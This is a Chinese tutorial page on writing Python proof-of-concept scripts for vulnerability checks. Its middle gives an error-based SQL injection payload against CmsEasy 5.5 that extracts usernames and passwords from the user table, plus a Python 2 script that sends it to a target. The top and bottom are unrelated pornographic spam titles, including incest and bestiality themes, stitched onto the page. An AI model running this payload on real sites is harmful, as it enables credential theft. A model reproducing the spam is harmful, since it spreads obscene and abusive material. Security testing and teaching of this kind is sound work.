国产成人AV无码一二三区,少女1到100集,国产精品久久久久精品综合紧,巜公妇之诱感肉欲HD在线播放

文章 > Python常见问题 > python poc是什么

python poc是什么

头像

(*-*)浩

2019-08-27 14:51:064338浏览 · 0收藏 · 0评论

如今,PoC 的编写在我们安全研究团队是每个人必备的技能之一。那么,PoC是什么呢?我们应该如何优雅的来进行编写?

0x00 我们需要掌握的几个的概念

PoC(全称:Proof of Concept)中文意思是“观点证明”。在安全行业中PoC则是一段验证漏洞的程序,使我们能够确认这个漏洞是真实存在的。

Python,是一种面向对象、解释型计算机程序设计语言。常见的一些库我们需要了解,比如:urllib,urllib2,re,request,socket等,本文我们要使用Python这门语言,Python的基础知识我们不做讲解。

SQL Injection,通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

0x01 PoC编写流程

场景还原:某网站托管公司,旗下托管了数万个站点,负责这些站点的安全,但是突然某一天,某知名CMS程序被爆出存在一个高危的SQL注入,某网管排查后发现旗下托管网站中存在几百个站点使用该CMS程序,那么一个一个去排查是否存在该漏洞是非常繁琐的,所以,我们需要一个PoC来验证下。

·根据该漏洞详情的描述,假设已知出现漏洞的CMS版本号为4.1,可以去其官网或者GitHub上去下载相对应的版本。

·下载之后,模拟其服务器真实环境,本地进行搭建。根据漏洞描述,进行复现,已SQL注入为例,重复提交不同的参数,观察不同的返回结果,同时注意如果该漏洞不存在出现的结果。

·根据漏洞复现的实际情况,进行PoC的编写。

·PoC写完之后需要进行相关的测试,已确保该PoC的编写没有问题,比如测试靶机程序,以及不存在漏洞的程序。

0x02 SQL Injection poc编写

已知CmsEasy 5.5 UTF-8程序存在SQL注入,乌云漏洞中的漏洞细节比较详细

(由于wooyun已经暂停访问,故不上链接了)。

·首先,我们需要下载其相关源码,进行本地搭建。

阅读漏洞细节,我们得知其url与payload如下:

URL:http://xxx.xxx/celive/live/header.php Payload:xajax=LiveMessage&xajaxargs[0]=name',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--%20

·漏洞复现:我们根据其漏洞描述,进行复现,该注入点需要发起一个Post请求,我们使用Firefox浏览器配合hackbar插件进行复现,填入url与payload,发送,获取其账户密码。

漏洞效果如下:

这样,我们的漏洞就已经复现成功了。接下来,我们来写Poc。

#!/usr/bin/env python
# coding:utf-8
import urllib2
import urllib
import re
import sys
def verify(url):
target = '%s/celive/live/header.php' % url
#需要发送的数据
post_data = {
'xajax': 'LiveMessage',
'xajaxargs[0]': "name',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- " }
try:
#发送请求
req = urllib2.Request(target, data=urllib.urlencode(post_data))
response = urllib2.urlopen(req)
#处理请求,进行判断
if response:
data = response.read()
if "XPATH syntax error" in data:
print "%s is vulnerable" % target
else:
print "%s is not vulnerable" % target

except Exception, e:
print "Something happend..."
print e
def main():
args = sys.argv
url = ""
if len(args) == 2:
url = args[1]
verify(url)
else:
print "Usage: python %s url" % (args[0])
if __name__ == '__main__':
main()
关注

关注公众号,随时随地在线学习

本教程部分素材来源于网络,版权问题联系站长!

欧美| 美女和男生一起努力的生孩子视频.. | 免费看黄A片真人真事| 黑科网今日黑科独家爆料| 姐妹花破瓜双飞记的寓意和象征意.. | 真人刺激战场40分钟电视剧| 免费观看已满十八岁电视剧在线播...| 美国禁忌少妇6| 动漫《纯洁的修女》在线看| 华为新品手机发布| 第-次和公翁做爰又大又粗| 继子的母亲免费版电视剧| 在校长室调教校花H| 关于爱| 绝色儿媳在线观看免费版电视剧| 他的大手在秘密花园小说免费阅读| 欧美《禁忌5》| 姐姐片多多免费高清电视剧| 炮姐BGM高清| 华为新品手机发布| 向日葵在线观看免费高清电视剧| 6969影院免费观看电视剧大全| 小柔与王叔的第一次相遇是第几集| 《火车服务》免费观看| 成品网站1.1.719| 儿媳妇长太漂亮免费观看电视剧 | 麻豆映画传媒| 欧美大妈LOGO大全及价格图| 少女配狗视频大全播放| 《台球室的特殊待遇》| 一品国精和二品国精的文化意义 | 妈妈与儿子高清免费版电视剧| 日剧《轮流抵债》在线观看| 张柏芝门户大开照| 《喂奶人妻厨房HD》| 偷偷在线观看免费高清电视剧推荐| 初体验| 公在厨房撕开奶罩吸奶头| 《献身》免费完整版| 桃色禁忌| 《尼姑庵春梦》